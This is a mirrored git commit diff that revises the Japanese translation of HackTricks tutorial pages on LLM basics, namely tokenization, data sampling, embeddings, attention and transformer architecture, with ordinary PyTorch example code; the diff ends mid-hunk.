mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
3a30018dbd
commit
735b63ad13
@ -1,6 +1,6 @@
|
||||
# 0. 基本的なLLMの概念
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## プレトレーニング
|
||||
|
||||
@ -11,12 +11,12 @@
|
||||
通常、LLMはトレーニングに使用される構成によって特徴付けられます。LLMをトレーニングする際の一般的なコンポーネントは以下の通りです:
|
||||
|
||||
- **パラメータ**:パラメータは、ニューラルネットワーク内の**学習可能な重みとバイアス**です。これらは、トレーニングプロセスが損失関数を最小化し、タスクに対するモデルのパフォーマンスを向上させるために調整する数値です。LLMは通常、数百万のパラメータを使用します。
|
||||
- **コンテキストの長さ**:これは、LLMをプレトレーニングするために使用される各文の最大長です。
|
||||
- **コンテキストの長さ**:これは、LLMのプレトレーニングに使用される各文の最大長です。
|
||||
- **埋め込み次元**:各トークンまたは単語を表すために使用されるベクトルのサイズです。LLMは通常、数十億の次元を使用します。
|
||||
- **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズです。
|
||||
- **層の数(深さ)**:モデルが持つ層の数です。LLMは通常、数十の層を使用します。
|
||||
- **アテンションヘッドの数**:トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数です。LLMは通常、数十のヘッドを使用します。
|
||||
- **ドロップアウト**:ドロップアウトは、トレーニング中に削除されるデータの割合(確率が0になる)に似たもので、**過剰適合を防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。
|
||||
- **ドロップアウト**:ドロップアウトは、トレーニング中に削除されるデータの割合(確率が0になる)に似たものです。**オーバーフィッティングを防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。
|
||||
|
||||
GPT-2モデルの構成:
|
||||
```json
|
||||
@ -30,31 +30,31 @@ GPT_CONFIG_124M = {
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## PyTorchにおけるテンソル
|
||||
## Tensors in PyTorch
|
||||
|
||||
PyTorchにおいて、**テンソル**は基本的なデータ構造であり、多次元配列として機能し、スカラー、ベクトル、行列などの概念をより高次元に一般化します。テンソルは、特に深層学習やニューラルネットワークの文脈において、データが表現され操作される主要な方法です。
|
||||
|
||||
### テンソルの数学的概念
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
- **スカラー**: ランク0のテンソルで、単一の数値を表します(ゼロ次元)。例: 5
|
||||
- **スカラー**: ランク0のテンソルで、単一の数値(ゼロ次元)を表します。例: 5
|
||||
- **ベクトル**: ランク1のテンソルで、数値の一次元配列を表します。例: \[5,1]
|
||||
- **行列**: ランク2のテンソルで、行と列を持つ二次元配列を表します。例: \[\[1,3], \[5,2]]
|
||||
- **高次ランクテンソル**: ランク3以上のテンソルで、より高次元のデータを表します(例: カラー画像のための3Dテンソル)。
|
||||
- **高次ランクテンソル**: ランク3以上のテンソルで、より高次元のデータを表します(例: カラー画像用の3Dテンソル)。
|
||||
|
||||
### データコンテナとしてのテンソル
|
||||
### Tensors as Data Containers
|
||||
|
||||
計算の観点から、テンソルは多次元データのコンテナとして機能し、各次元はデータの異なる特徴や側面を表すことができます。これにより、テンソルは機械学習タスクにおける複雑なデータセットの処理に非常に適しています。
|
||||
|
||||
### PyTorchのテンソルとNumPyの配列
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
PyTorchのテンソルは、数値データを保存し操作する能力においてNumPyの配列に似ていますが、深層学習に不可欠な追加機能を提供します:
|
||||
PyTorchのテンソルは、数値データを保存および操作する能力においてNumPy配列に似ていますが、深層学習に不可欠な追加機能を提供します:
|
||||
|
||||
- **自動微分**: PyTorchのテンソルは勾配の自動計算(autograd)をサポートしており、ニューラルネットワークのトレーニングに必要な導関数の計算プロセスを簡素化します。
|
||||
- **GPUアクセラレーション**: PyTorchのテンソルはGPUに移動して計算することができ、大規模な計算を大幅に高速化します。
|
||||
|
||||
### PyTorchでのテンソルの作成
|
||||
### Creating Tensors in PyTorch
|
||||
|
||||
`torch.tensor`関数を使用してテンソルを作成できます:
|
||||
テンソルは`torch.tensor`関数を使用して作成できます:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
@ -89,61 +89,61 @@ print(tensor1d.dtype) # Output: torch.int64
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### 一般的なテンソル操作
|
||||
### Common Tensor Operations
|
||||
|
||||
PyTorchはテンソルを操作するためのさまざまな操作を提供します:
|
||||
PyTorchは、テンソルを操作するためのさまざまな操作を提供します:
|
||||
|
||||
- **形状の取得**: `.shape`を使用してテンソルの次元を取得します。
|
||||
- **Accessing Shape**: `.shape`を使用して、テンソルの次元を取得します。
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # 出力: torch.Size([2, 2])
|
||||
print(tensor2d.shape) # Output: torch.Size([2, 2])
|
||||
```
|
||||
|
||||
- **テンソルの形状変更**: `.reshape()`または`.view()`を使用して形状を変更します。
|
||||
- **Reshaping Tensors**: `.reshape()`または`.view()`を使用して、形状を変更します。
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
|
||||
- **テンソルの転置**: `.T`を使用して2Dテンソルを転置します。
|
||||
- **Transposing Tensors**: `.T`を使用して、2Dテンソルを転置します。
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
|
||||
- **行列の乗算**: `.matmul()`または`@`演算子を使用します。
|
||||
- **Matrix Multiplication**: `.matmul()`または`@`演算子を使用します。
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### 深層学習における重要性
|
||||
### Importance in Deep Learning
|
||||
|
||||
テンソルはPyTorchにおいてニューラルネットワークを構築し、トレーニングするために不可欠です:
|
||||
テンソルは、PyTorchでニューラルネットワークを構築およびトレーニングするために不可欠です:
|
||||
|
||||
- 入力データ、重み、バイアスを格納します。
|
||||
- トレーニングアルゴリズムにおける前方および後方のパスに必要な操作を促進します。
|
||||
- autogradを使用することで、テンソルは勾配の自動計算を可能にし、最適化プロセスを効率化します。
|
||||
|
||||
## 自動微分
|
||||
## Automatic Differentiation
|
||||
|
||||
自動微分(AD)は、関数の**導関数(勾配)**を効率的かつ正確に評価するために使用される計算技術です。ニューラルネットワークの文脈において、ADは**勾配降下法のような最適化アルゴリズムに必要な勾配の計算を可能にします**。PyTorchはこのプロセスを簡素化する**autograd**という自動微分エンジンを提供します。
|
||||
自動微分(AD)は、関数の**導関数(勾配)**を効率的かつ正確に評価するために使用される計算技術です。ニューラルネットワークの文脈では、ADは**勾配降下法のような最適化アルゴリズムに必要な勾配の計算**を可能にします。PyTorchは、このプロセスを簡素化する**autograd**という自動微分エンジンを提供します。
|
||||
|
||||
### 自動微分の数学的説明
|
||||
### Mathematical Explanation of Automatic Differentiation
|
||||
|
||||
**1. チェーンルール**
|
||||
**1. The Chain Rule**
|
||||
|
||||
自動微分の中心には、微積分の**チェーンルール**があります。チェーンルールは、関数の合成がある場合、合成関数の導関数は合成された関数の導関数の積であると述べています。
|
||||
自動微分の中心には、微積分の**連鎖律**があります。連鎖律は、関数の合成がある場合、合成関数の導関数は合成された関数の導関数の積であると述べています。
|
||||
|
||||
数学的には、`y=f(u)`および`u=g(x)`の場合、`y`の`x`に関する導関数は次のようになります:
|
||||
数学的には、`y=f(u)`および`u=g(x)`の場合、`x`に関する`y`の導関数は次のようになります:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. 計算グラフ**
|
||||
**2. Computational Graph**
|
||||
|
||||
ADでは、計算は**計算グラフ**のノードとして表され、各ノードは操作または変数に対応します。このグラフをたどることで、効率的に導関数を計算できます。
|
||||
|
||||
3. 例
|
||||
3. Example
|
||||
|
||||
単純な関数を考えてみましょう:
|
||||
|
||||
@ -155,19 +155,19 @@ ADでは、計算は**計算グラフ**のノードとして表され、各ノ
|
||||
- `y=1.0`はターゲットラベルです。
|
||||
- `L`は損失です。
|
||||
|
||||
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいとします。
|
||||
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいと思います。
|
||||
|
||||
**4. 勾配の手動計算**
|
||||
**4. Computing Gradients Manually**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. 数値計算**
|
||||
**5. Numerical Calculation**
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### PyTorchにおける自動微分の実装
|
||||
### Implementing Automatic Differentiation in PyTorch
|
||||
|
||||
では、PyTorchがこのプロセスをどのように自動化するかを見てみましょう。
|
||||
さて、PyTorchがこのプロセスをどのように自動化するかを見てみましょう。
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
@ -205,14 +205,14 @@ Gradient w.r.t b: tensor([-0.0817])
|
||||
|
||||
- **フォワードパス:** 各レイヤーを通して入力を渡すことによってネットワークの出力を計算します。
|
||||
- **損失の計算:** ネットワークの出力とターゲットラベルを使用して損失関数を評価します。
|
||||
- **バックワードパス(バックプロパゲーション):** 出力層から入力層に向かって連鎖律を再帰的に適用することによって、ネットワーク内の各パラメータに対する損失の勾配を計算します。
|
||||
- **バックワードパス(バックプロパゲーション):** 出力層から入力層に向かってチェーンルールを再帰的に適用することによって、ネットワーク内の各パラメータに対する損失の勾配を計算します。
|
||||
|
||||
### **2. バックプロパゲーションアルゴリズム**
|
||||
|
||||
- **ステップ 1:** ネットワークパラメータ(重みとバイアス)を初期化します。
|
||||
- **ステップ 2:** 各トレーニング例について、フォワードパスを実行して出力を計算します。
|
||||
- **ステップ 3:** 損失を計算します。
|
||||
- **ステップ 4:** 連鎖律を使用して各パラメータに対する損失の勾配を計算します。
|
||||
- **ステップ 4:** チェーンルールを使用して各パラメータに対する損失の勾配を計算します。
|
||||
- **ステップ 5:** 最適化アルゴリズム(例:勾配降下法)を使用してパラメータを更新します。
|
||||
|
||||
### **3. 数学的表現**
|
||||
@ -286,4 +286,4 @@ print(f"Gradient of {name}: {param.grad}")
|
||||
- **精度:** 機械精度までの正確な導関数を提供します。
|
||||
- **使いやすさ:** 導関数の手動計算を排除します。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 1. トークナイジング
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## トークナイジング
|
||||
|
||||
**トークナイジング**は、テキストなどのデータを小さく管理しやすい部分、すなわち_トークン_に分解するプロセスです。各トークンには一意の数値識別子(ID)が割り当てられます。これは、特に自然言語処理(NLP)において、テキストを機械学習モデルで処理するための準備において基本的なステップです。
|
||||
**トークナイジング**は、テキストなどのデータを小さく管理しやすい部分、すなわち_トークン_に分解するプロセスです。各トークンには一意の数値識別子(ID)が割り当てられます。これは、特に自然言語処理(NLP)において、機械学習モデルによる処理のためにテキストを準備する基本的なステップです。
|
||||
|
||||
> [!TIP]
|
||||
> この初期段階の目標は非常にシンプルです:**入力を意味のある方法でトークン(ID)に分割すること**。
|
||||
@ -33,7 +33,7 @@ _(`[UNK]`がID `987`であると仮定)_
|
||||
|
||||
### **高度なトークナイジング手法**
|
||||
|
||||
基本的なトークナイザーはシンプルなテキストにはうまく機能しますが、大きな語彙や新しいまたは珍しい単語の処理には限界があります。高度なトークナイジング手法は、テキストを小さなサブユニットに分解したり、トークナイジングプロセスを最適化することでこれらの問題に対処します。
|
||||
基本的なトークナイザーはシンプルなテキストにはうまく機能しますが、大きな語彙や新しいまたは珍しい単語の処理には限界があります。高度なトークナイジング手法は、テキストをより小さなサブユニットに分解したり、トークナイジングプロセスを最適化することでこれらの問題に対処します。
|
||||
|
||||
1. **バイトペアエンコーディング(BPE):**
|
||||
- **目的:** 語彙のサイズを削減し、珍しいまたは未知の単語を頻繁に出現するバイトペアに分解することで処理します。
|
||||
@ -48,7 +48,7 @@ _(`[UNK]`がID `987`であると仮定)_
|
||||
`"playing"`は、`"play"`と`"ing"`が頻繁なサブワードであれば、`["play", "ing"]`としてトークナイズされるかもしれません。
|
||||
2. **WordPiece:**
|
||||
- **使用モデル:** BERTのようなモデル。
|
||||
- **目的:** BPEと似ており、未知の単語を処理し、語彙のサイズを削減するために単語をサブワードユニットに分解します。
|
||||
- **目的:** BPEと同様に、未知の単語を処理し、語彙のサイズを削減するために単語をサブワードユニットに分解します。
|
||||
- **仕組み:**
|
||||
- 個々の文字の基本語彙から始まります。
|
||||
- トレーニングデータの尤度を最大化する最も頻繁なサブワードを反復的に追加します。
|
||||
@ -64,7 +64,7 @@ _(`[UNK]`がID `987`であると仮定)_
|
||||
- **仕組み:**
|
||||
- 潜在的なトークンの大きなセットから始まります。
|
||||
- トレーニングデータのモデルの確率を最も改善しないトークンを反復的に削除します。
|
||||
- 各単語が最も確率の高いサブワードユニットで表現される語彙を最終化します。
|
||||
- 各単語が最も可能性の高いサブワードユニットで表現される語彙を最終化します。
|
||||
- **利点:**
|
||||
- 柔軟で、より自然に言語をモデル化できます。
|
||||
- より効率的でコンパクトなトークナイジングを実現することが多いです。
|
||||
@ -97,4 +97,4 @@ print(token_ids[:50])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,24 +1,24 @@
|
||||
# 2. データサンプリング
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **データサンプリング**
|
||||
|
||||
**データサンプリング**は、GPTのような大規模言語モデル(LLM)のトレーニングのためにデータを準備する際の重要なプロセスです。これは、モデルが前の単語に基づいて次の単語(またはトークン)を予測する方法を学ぶために使用する入力とターゲットのシーケンスにテキストデータを整理することを含みます。適切なデータサンプリングは、モデルが言語パターンや依存関係を効果的に捉えることを保証します。
|
||||
**データサンプリング**は、GPTのような大規模言語モデル(LLM)のトレーニングのためにデータを準備する際の重要なプロセスです。これは、モデルが前の単語に基づいて次の単語(またはトークン)を予測する方法を学ぶために使用する入力とターゲットのシーケンスにテキストデータを整理することを含みます。適切なデータサンプリングは、モデルが言語パターンと依存関係を効果的に捉えることを保証します。
|
||||
|
||||
> [!TIP]
|
||||
> この第二段階の目標は非常にシンプルです:**入力データをサンプリングし、通常は特定の長さの文にデータセットを分け、期待される応答も生成してトレーニングフェーズのために準備します。**
|
||||
> この第二段階の目標は非常にシンプルです:**入力データをサンプリングし、通常はデータセットを特定の長さの文に分け、期待される応答も生成してトレーニングフェーズのために準備します。**
|
||||
|
||||
### **データサンプリングが重要な理由**
|
||||
|
||||
GPTのようなLLMは、前の単語によって提供されるコンテキストを理解することでテキストを生成または予測するようにトレーニングされています。これを達成するためには、トレーニングデータはモデルが単語のシーケンスとその後の単語との関係を学べるように構造化されている必要があります。この構造化されたアプローチにより、モデルは一般化し、一貫性があり文脈に関連したテキストを生成することができます。
|
||||
GPTのようなLLMは、前の単語によって提供されるコンテキストを理解することによってテキストを生成または予測するようにトレーニングされています。これを達成するためには、トレーニングデータは、モデルが単語のシーケンスとその後の単語との関係を学べるように構造化されている必要があります。この構造化されたアプローチにより、モデルは一般化し、一貫性があり文脈に関連したテキストを生成することができます。
|
||||
|
||||
### **データサンプリングの主要概念**
|
||||
### **データサンプリングの重要な概念**
|
||||
|
||||
1. **トークン化:** テキストをトークン(例:単語、サブワード、または文字)と呼ばれる小さな単位に分解すること。
|
||||
2. **シーケンスの長さ (max_length):** 各入力シーケンス内のトークンの数。
|
||||
3. **スライディングウィンドウ:** トークン化されたテキスト上にウィンドウを移動させることで、重複する入力シーケンスを作成する方法。
|
||||
4. **ストライド:** 次のシーケンスを作成するためにスライディングウィンドウが前方に移動するトークンの数。
|
||||
3. **スライディングウィンドウ:** トークン化されたテキストの上をウィンドウを移動させることによって重複する入力シーケンスを作成する方法。
|
||||
4. **ストライド:** スライディングウィンドウが次のシーケンスを作成するために前進するトークンの数。
|
||||
|
||||
### **ステップバイステップの例**
|
||||
|
||||
@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 3. トークン埋め込み
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## トークン埋め込み
|
||||
|
||||
テキストデータをトークン化した後、大規模言語モデル(LLM)をトレーニングするためのデータ準備における次の重要なステップは、**トークン埋め込み**を作成することです。トークン埋め込みは、離散トークン(単語やサブワードなど)をモデルが処理し学習できる連続的な数値ベクトルに変換します。この説明では、トークン埋め込み、その初期化、使用法、およびトークンシーケンスのモデル理解を向上させる位置埋め込みの役割について説明します。
|
||||
テキストデータをトークン化した後、大規模言語モデル(LLM)をトレーニングするためのデータ準備における次の重要なステップは、**トークン埋め込み**を作成することです。トークン埋め込みは、離散トークン(単語やサブワードなど)をモデルが処理し学習できる連続的な数値ベクトルに変換します。この説明では、トークン埋め込み、その初期化、使用法、およびトークンシーケンスのモデル理解を向上させる位置埋め込みの役割を分解します。
|
||||
|
||||
> [!TIP]
|
||||
> この第3段階の目標は非常にシンプルです:**語彙内の各トークンに対して、モデルをトレーニングするために必要な次元のベクトルを割り当てることです。** 語彙内の各単語は、X次元の空間内の点になります。\
|
||||
@ -17,7 +17,7 @@
|
||||
**トークン埋め込み**は、連続ベクトル空間におけるトークンの数値表現です。語彙内の各トークンは、固定次元のユニークなベクトルに関連付けられています。これらのベクトルは、トークンに関する意味的および構文的情報をキャプチャし、モデルがデータ内の関係やパターンを理解できるようにします。
|
||||
|
||||
- **語彙サイズ:** モデルの語彙内のユニークなトークンの総数(例:単語、サブワード)。
|
||||
- **埋め込み次元:** 各トークンのベクトル内の数値の数(次元)。次元が高いほど、より微妙な情報をキャプチャできますが、より多くの計算リソースが必要です。
|
||||
- **埋め込み次元:** 各トークンのベクトル内の数値の数(次元)。高次元はより微妙な情報をキャプチャできますが、より多くの計算リソースを必要とします。
|
||||
|
||||
**例:**
|
||||
|
||||
@ -70,7 +70,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
**解釈:**
|
||||
|
||||
- インデックス `3` のトークンはベクトル `[-0.4015, 0.9666, -1.1481]` で表されます。
|
||||
- これらの値は、モデルがトークンの文脈と意味をよりよく表現するためにトレーニング中に調整するトレーニング可能なパラメータです。
|
||||
- これらの値は、モデルがトレーニング中に調整するトレーニング可能なパラメータであり、トークンのコンテキストと意味をよりよく表現します。
|
||||
|
||||
### **トークン埋め込みがトレーニング中にどのように機能するか**
|
||||
|
||||
@ -135,7 +135,7 @@ cssCopy codeBatch
|
||||
### **位置埋め込みの種類:**
|
||||
|
||||
1. **絶対位置埋め込み:**
|
||||
- シーケンス内の各位置にユニークな位置ベクトルを割り当てます。
|
||||
- シーケンス内の各位置に一意の位置ベクトルを割り当てます。
|
||||
- **例:** どのシーケンスの最初のトークンも同じ位置埋め込みを持ち、2番目のトークンは別の位置埋め込みを持ちます。
|
||||
- **使用例:** OpenAIのGPTモデル。
|
||||
2. **相対位置埋め込み:**
|
||||
@ -146,7 +146,7 @@ cssCopy codeBatch
|
||||
### **位置埋め込みの統合方法:**
|
||||
|
||||
- **同じ次元:** 位置埋め込みはトークン埋め込みと同じ次元を持ちます。
|
||||
- **加算:** それらはトークン埋め込みに加算され、トークンのアイデンティティと位置情報を組み合わせ、全体の次元を増やすことなく行われます。
|
||||
- **加算:** それらはトークン埋め込みに加算され、トークンのアイデンティティと位置情報を組み合わせ、全体の次元を増やすことなく統合されます。
|
||||
|
||||
**位置埋め込みを追加する例:**
|
||||
|
||||
@ -158,8 +158,8 @@ Combined Embedding = Token Embedding + Positional Embedding
|
||||
```
|
||||
**位置埋め込みの利点:**
|
||||
|
||||
- **文脈の認識:** モデルはトークンの位置に基づいて区別できます。
|
||||
- **シーケンスの理解:** モデルが文法、構文、および文脈依存の意味を理解できるようにします。
|
||||
- **文脈認識:** モデルはトークンの位置に基づいて区別できます。
|
||||
- **シーケンス理解:** モデルが文法、構文、および文脈依存の意味を理解することを可能にします。
|
||||
|
||||
## コード例
|
||||
|
||||
@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 4. Attention Mechanisms
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Attention Mechanisms and Self-Attention in Neural Networks
|
||||
|
||||
@ -41,7 +41,7 @@ Our goal is to compute the **context vector** for the word **"shiny"** using sel
|
||||
#### Step 1: Compute Attention Scores
|
||||
|
||||
> [!TIP]
|
||||
> 各次元のクエリの値を関連するトークンの値と掛け算し、結果を加算します。トークンのペアごとに1つの値が得られます。
|
||||
> 各次元のクエリの値を各トークンの関連する値と掛け算し、結果を加算します。トークンのペアごとに1つの値が得られます。
|
||||
|
||||
For each word in the sentence, compute the **attention score** with respect to "shiny" by calculating the dot product of their embeddings.
|
||||
|
||||
@ -169,7 +169,7 @@ values = torch.matmul(inputs, W_value)
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれらを調整するのに役立つからです。
|
||||
> スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれを調整するのに役立つからです。
|
||||
|
||||
**ソフトマックスを適用してアテンションウェイトを取得:** 初期の例と同様に、すべての値を正規化して合計が1になるようにします。
|
||||
|
||||
@ -183,7 +183,7 @@ values = torch.matmul(inputs, W_value)
|
||||
|
||||
### コード例
|
||||
|
||||
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) から例を取得すると、私たちが話した自己注意機能を実装するこのクラスを確認できます:
|
||||
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) からの例を取り上げると、私たちが話した自己注意機能を実装するこのクラスを確認できます:
|
||||
```python
|
||||
import torch
|
||||
|
||||
@ -227,7 +227,7 @@ print(sa_v2(inputs))
|
||||
|
||||
## 因果注意:未来の単語を隠す
|
||||
|
||||
LLMでは、モデルが現在の位置の前に出現するトークンのみを考慮して**次のトークンを予測**することを望みます。**因果注意**、または**マスク付き注意**は、注意メカニズムを変更して未来のトークンへのアクセスを防ぐことによってこれを達成します。
|
||||
LLMでは、モデルが現在の位置の前に出現するトークンのみを考慮して**次のトークンを予測**することを望みます。**因果注意**、または**マスク付き注意**は、注意メカニズムを修正して未来のトークンへのアクセスを防ぐことによってこれを実現します。
|
||||
|
||||
### 因果注意マスクの適用
|
||||
|
||||
@ -324,11 +324,11 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## シングルヘッドアテンションをマルチヘッドアテンションに拡張する
|
||||
|
||||
**マルチヘッドアテンション**は、実際には**複数のインスタンス**の自己アテンション関数を実行し、それぞれが**独自の重み**を持つことで、異なる最終ベクトルが計算されることを意味します。
|
||||
**マルチヘッドアテンション**は、実際には**複数のインスタンス**の自己注意機能を実行し、それぞれが**独自の重み**を持つことで、異なる最終ベクトルが計算されることを意味します。
|
||||
|
||||
### コード例
|
||||
|
||||
前のコードを再利用し、ラッパーを追加して何度も実行することも可能ですが、これはすべてのヘッドを同時に処理する最適化されたバージョンです(高価なforループの数を減らします)。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元を持ち、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します。
|
||||
前のコードを再利用し、ラッパーを追加して何度も実行することも可能ですが、これはすべてのヘッドを同時に処理する最適化されたバージョンです(高価なforループの数を減らします)。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元を持ち、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
@ -417,4 +417,4 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 5. LLMアーキテクチャ
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LLMアーキテクチャ
|
||||
|
||||
@ -23,7 +23,7 @@ LLMアーキテクチャの例は[https://github.com/rasbt/LLMs-from-scratch/blo
|
||||
- **フィードフォワードレイヤー**: アテンションレイヤーからの情報を処理し、次のトークンについての予測を行う役割を担います。
|
||||
- **ドロップアウトレイヤー**: これらのレイヤーは、トレーニング中にユニットをランダムにドロップすることで過学習を防ぎます。
|
||||
4. **最終出力レイヤー**: モデルは**4x50,257次元のテンソル**を出力します。ここで**50,257**は語彙のサイズを表します。このテンソルの各行は、モデルがシーケンス内の次の単語を予測するために使用するベクトルに対応します。
|
||||
5. **目標**: 目的は、これらの埋め込みを取り、再びテキストに変換することです。具体的には、出力の最後の行が次の単語を生成するために使用され、この図では「forward」として表されています。
|
||||
5. **目標**: 目的は、これらの埋め込みを取得し、再びテキストに変換することです。具体的には、出力の最後の行が次の単語を生成するために使用され、この図では「forward」として表されています。
|
||||
|
||||
### コード表現
|
||||
```python
|
||||
@ -197,7 +197,7 @@ print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **GELU 活性化関数**
|
||||
### **GELU アクティベーション関数**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
@ -219,11 +219,11 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> FeedForward層内の線形層の後にこの関数を使用する目的は、線形データを非線形に変換し、モデルが複雑な非線形関係を学習できるようにすることです。
|
||||
> FeedForward層内の線形層の後にこの関数を使用する目的は、線形データを非線形に変換し、モデルが複雑で非線形な関係を学習できるようにすることです。
|
||||
|
||||
### **フィードフォワードニューラルネットワーク**
|
||||
|
||||
_行列の形状をよりよく理解するために、形状がコメントとして追加されています:_
|
||||
_形状は行列の形状をよりよく理解するためにコメントとして追加されています:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
@ -245,11 +245,11 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **目的と機能**
|
||||
|
||||
- **位置ごとのフィードフォワードネットワーク:** 各位置に対して別々かつ同一に二層の全結合ネットワークを適用します。
|
||||
- **位置ごとのフィードフォワードネットワーク:** 各位置に対して別々かつ同一に二層の完全接続ネットワークを適用します。
|
||||
- **層の詳細:**
|
||||
- **最初の線形層:** 次元を `emb_dim` から `4 * emb_dim` に拡張します。
|
||||
- **GELU活性化:** 非線形性を適用します。
|
||||
- **二番目の線形層:** 次元を再び `emb_dim` に減少させます。
|
||||
- **第二の線形層:** 次元を再び `emb_dim` に減少させます。
|
||||
|
||||
> [!TIP]
|
||||
> ご覧の通り、フィードフォワードネットワークは3層を使用しています。最初の層は線形層で、線形重み(モデル内でトレーニングするパラメータ)を使用して次元を4倍にします。その後、GELU関数がすべての次元に適用され、より豊かな表現を捉えるための非線形変化が行われ、最後に元の次元サイズに戻すために別の線形層が使用されます。
|
||||
@ -264,10 +264,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
- **主要コンポーネント:**
|
||||
- **クエリ、キー、値:** 入力の線形射影で、注意スコアを計算するために使用されます。
|
||||
- **ヘッド:** 複数の注意メカニズムが並行して実行されます(`num_heads`)、それぞれが縮小された次元(`head_dim`)を持ちます。
|
||||
- **注意スコア:** クエリとキーのドット積として計算され、スケーリングおよびマスキングされます。
|
||||
